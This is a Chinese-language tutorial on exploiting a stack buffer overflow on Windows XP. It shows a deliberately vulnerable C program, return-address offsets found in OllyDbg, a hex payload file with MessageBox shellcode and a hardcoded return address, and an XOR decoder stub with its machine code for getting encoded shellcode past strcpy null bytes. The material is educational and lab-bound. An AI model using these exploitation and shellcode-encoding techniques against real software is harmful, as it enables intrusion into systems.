乾貨 || Windows Shellcode學習筆記——shellcode在棧溢出中的利用與優化

0x00 前言

在《Windows Shellcode學習筆記——shellcode的提取與測試》中介紹了如何對shellcode作初步優化,動態獲取Windows API地址並調用,並通過程序實現自動提取機器碼作為shellcode並保存到文件中。

彈框實例shellcode的bin文件已上傳至github,地址如下:

github.com/3gstudent/Sh

註:shellcode.bin由getshellcode.cpp生成

getshellcode.cpp地址如下:

github.com/3gstudent/Sh

接下來,要研究shellcode在具體環境中的使用和優化技巧

0x01 簡介

先從最入門的緩衝區溢出開始

本文將要結合《0day安全:軟體漏洞分析技術》中的「棧溢出原理與實踐」章節,以其中的棧溢出代碼作樣本,優化我們自己生成的彈框實例shellcode,實現在棧溢出中的初步利用。

0x02 相關概念

棧區:

用於動態地存儲函數之間的調用關係,以保證被調用函數在返回時恢復到母函數中繼續執行

特殊寄存器:

ESP:棧指針寄存器(extended stack pointer),指向棧頂

EBP:基址指針寄存器(extended base pointer),指向棧底

EIP:指令寄存器(extended instruction pointer),指向下一條等待執行的指令地址

函數代碼在棧中保存順序(直觀理解,已省略其他細節):

buffer

前棧幀EBP

返回地址

ESP

函數棧溢出原理(直觀理解,已省略其他細節):

正常情況下函數在返回過程中,最後會執行返回地址中保存的內容,通常是跳到下一條指令的地址

如果buffer長度過長,長到覆蓋了返回地址的值,那麼函數在返回時,就會執行被覆蓋的內容

如果將shellcode保存到buffer中,覆蓋的返回地址為shellcode的起始地址,那麼,shellcode將得到執行,完成棧溢出的利用

0x03 棧溢出實例測試

樣本代碼如下:

#include <stdio.h>n#include <windows.h>n#define PASSWORD "1234567"nint verify_password (char *password)n{n int authenticated;n char buffer[44];n authenticated=strcmp(password,PASSWORD);n strcpy(buffer,password);n return authenticated;n}nint main()n{n int valid_flag=0;n char password[1024];n FILE *fp;n LoadLibrary("user32.dll");n if(!(fp=fopen("password.txt","rw+")))n return 0;n fread(password,56,1,fp);n valid_flag=verify_password(password);n if(valid_flag)n {n printf("wrongn");n }n elsen {n printf("rightn"); n }n fclose(fp);n return 0;n}n

註:代碼選自章節2.4.2中的實驗代碼,作細微調整

其中,fscanf(fp,」%s」,password)在遇到空格和換行符時結束,如果shellcode中包含空格(0x20),會被截斷,導致讀取文件不完整

因此,將其替換為fread(password,56,1,fp);

數組password長度為56,數組buffer長度為44,在執行strcpy(buffer,password);時存在棧溢出

根據函數棧溢出原理,實現棧溢出需要以下過程:

(1) 分析並調試程序,獲得淹沒返回地址的偏移

(2) 獲得buffer的起始地址,根據獲得的偏移將其覆蓋返回地址,使得函數返回時執行buffer起始地址保存的代碼

(3) 提取彈框操作的機器碼並保存於buffer的起始地址處,在函數返回時得到執行

測試系統:Win XPn編譯器:VC6.0nbuild版本: debug版本n

(1) 分析並調試程序,獲得淹沒返回地址的偏移

可在password.txt中填入56個測試字元,使用OllyDbg打開程序,定位到函數返回地址

如圖

返回地址剛好被覆蓋

(2) 獲得buffer的起始地址並覆蓋返回地址

如圖

獲得buffer的起始地址:0012FB7C

註:在不同系統下buffer的起始地址不同,使用0012FB7C覆蓋返回地址,即password.txt的53-56位的十六進位字元為7CFB1200(逆序保存)

(3) 提取彈框操作的機器碼

參照《0day安全:軟體漏洞分析技術》中的方法,使用Dependency Walker 獲取ueser32.ll的基地址為0x77D10000

MessageBoxA的偏移地址為0x000407EA

如圖

因此MessageBoxA在該系統上內存中的入口地址為0x77D10000+0x000407EA=0x77D507EA

替換書中MessageBoxA對應函數入口地址的機器碼

最終password.txt內容如下(十六進位視圖):

00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S n00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS戈.誻袗悙悙? n00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 n00000030h: 90 90 90 90 7C FB 12 00 ; 悙悙|?.n

最終程序運行如圖,棧溢出在我們的測試系統上觸發成功

0x03 彈框實例shellcode在棧溢出的優化

上節簡單介紹了一下棧溢出實例的原理和操作方法,本節將要介紹如何優化我們自己開發的shellcode,即彈框實例shellcode,結合具體漏洞,實現利用

彈框實例shellcode下載地址:

github.com/3gstudent/Sh

shellcode長度1536

(1) 修改實常式序,使其數組足以保存我們的shellcode

完整代碼如下:

#include <stdio.h>n#include <windows.h>n#define PASSWORD "1234567"nint verify_password (char *password)n{n int authenticated;n char buffer[1556];n authenticated=strcmp(password,PASSWORD);n strcpy(buffer,password);n return authenticated;n}nint main()n{n int valid_flag=0;n char password[2048]={0};n FILE *fp;n if(!(fp=fopen("password2.txt","rb")))n return 0;n fread(password,1568,1,fp);n valid_flag=verify_password(password);n if(valid_flag)n {n printf("wrongn");n }n elsen {n printf("rightn");n }n fclose(fp);n return 0;n}n

buffer長度增大到1556,用於保存彈框實例shellcode

根據上節實例,淹沒返回地址的偏移9-12,因此password的長度增加到1556+12=1568

(2) strcpy遇到字元00會截斷

如圖

彈框實例shellcode在00000009h處字元為0x00,strcpy在執行時遇到0x00會提前截斷,導致shellcode不完整,無法覆蓋返回地址

所以,需要對shellcode進行編碼

為方便讀者理解,參照《0day安全:軟體漏洞分析技術》中3.5.2節的方法(此章節有詳細說明,不再贅述過程):

shellcode尾部添加結束字元0x90

將shellcode逐位元組同0x44作異或加密

彙編實現解碼器並提取機器碼

解碼器的機器碼放於shellcode首部

解碼器將EAX對準shellcode起始位置,逐位元組同0x44異或進行解密,遇到0x90停止

解碼器的彙編代碼如下:

void main()n{n __asmn {n add eax,0x14n xor ecx,ecxndecode_loop:n mov bl,[eax+ecx]n xor bl,0x44n mov [eax+ecx],bln inc ecxn cmp bl,0x90n jne decode_loopn }n}n

使用OllyDbg提取出機器碼如下:

"x83xC0x14x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx90x75xF1"n

新的shellcode格式如下:

解碼器機器碼+加密的彈框實例shellcode+0xD4+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"n

註:

0x90^0x44=0xD4,0xD4即編碼後的結束字元

「x90x90x90x90x90x90x90」為填充字元串,無意義

「x7CxFBx12x00」為覆蓋的函數返回地址

(3) 0xD4衝突

如圖

彈框實例shellcode中也包含結束字元0xD4,解密時shellcode會被提前截斷,所以需要選擇一個新的結束字元

當然也可以對shellcode分段加密,針對此shellcode,恰巧0xD5未出現,因此使用0xD5作結束字元串即可,解密字元為0x91

修改後的機器碼如下:

"x83xC0x14x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx91x75xF1"n

修改後的shellcode格式如下:

解碼器機器碼+加密的彈框實例shellcode+0xD5+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"n

(4) shellcode編碼測試

編寫程序實現自動讀取原shellcode,加密,添加解密機器碼,添加結束字元

程序已上傳至github

github.com/3gstudent/Sh

執行後如圖,產生新的shellcode文件,並在屏幕輸出c格式的shellcode

使用如下代碼,結合屏幕輸出c格式的shellcode,替換數組內容,對新的加密shellcode測試

由於代碼較長,所以上傳至github,地址如下:

github.com/3gstudent/Sh

如圖,shellcode執行,成功實現解碼器

(5) 新shellcode在棧溢出中的測試

填上解碼器機器碼,完整的shellcode格式如下:

"x83xC0x14x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx91x75xF1"+加密的彈框實例shellcode+0xD5+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"n

在棧溢出測試程序中仍然報錯,使用OllyDbg載入繼續調試

如下圖,成功覆蓋函數返回地址,接著按F8進行單步調試

如下圖,此時發現異常,EAX寄存器的值為909090D5,正常情況下EAX的值應該為Buffer的起始地址,這樣才能成功找到shellcode並對其解密

而寄存器EDX卻保存了Buffer的起始地址

所以,我們需要對解碼器作修改

(6) 修改解碼器

選擇一個最簡單直接的方法,將EDX對準shellcode的起始位置,實現的彙編代碼如下:

void main()n{n __asmn {n add edx,0x14n xor ecx,ecxndecode_loop:n mov bl,[edx+ecx]n xor bl,0x44n mov [edx+ecx],bln inc ecxn cmp bl,0x90n jne decode_loopn }n}n

在OllyDbg中載入程序並提取機器碼,如圖

新的解碼器機器碼為:

"x83xC2x14x33xC9x8Ax1Cx0Ax80xF3x44x88x1Cx0Ax41x80xFBx91x75xF1"n

最終的shellcode代碼為:

"x83xC2x14x33xC9x8Ax1Cx0Ax80xF3x44x88x1Cx0Ax41x80xFBx91x75xF1"+加密的彈框實例shellcode+0xD5+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"n

完整shellcode代碼已上傳至github,地址為:

github.com/3gstudent/Sh

再次測試棧溢出,如圖,shellcode成功執行

由於shellcode是我們自己實現的動態獲取API地址,所以棧溢出測試程序中的LoadLibrary(「user32.dll」); 可以省略

0x04 小結

本文對棧溢出原理作了簡要描述,著重介紹了在具體的棧溢出環境下,shellcode的優化、調試和利用技巧

當然,上述shellcode存在一個不足:shellcode在內存中的起始地址往往不固定,導致漏洞利用不一定成功

本文為3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載;如若轉載,請嘶吼編輯: Windows Shellcode學習筆記——shellcode在棧溢出中的利用與優化 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

乾貨 || Windows Shellcode學習筆記——棧溢出中對jmp esp的利用與優化
AppDomainManager後門的實現思路
乾貨 | PowerShell技巧——藉助kd.exe隱藏進程
PowerShell指令為什麼都要採用 Verb-XXXX 的格式?
作為日常使用的腳本,PowerShell Core 與 Python 各有哪些優劣?

TAG:技术分析 | PowerShell |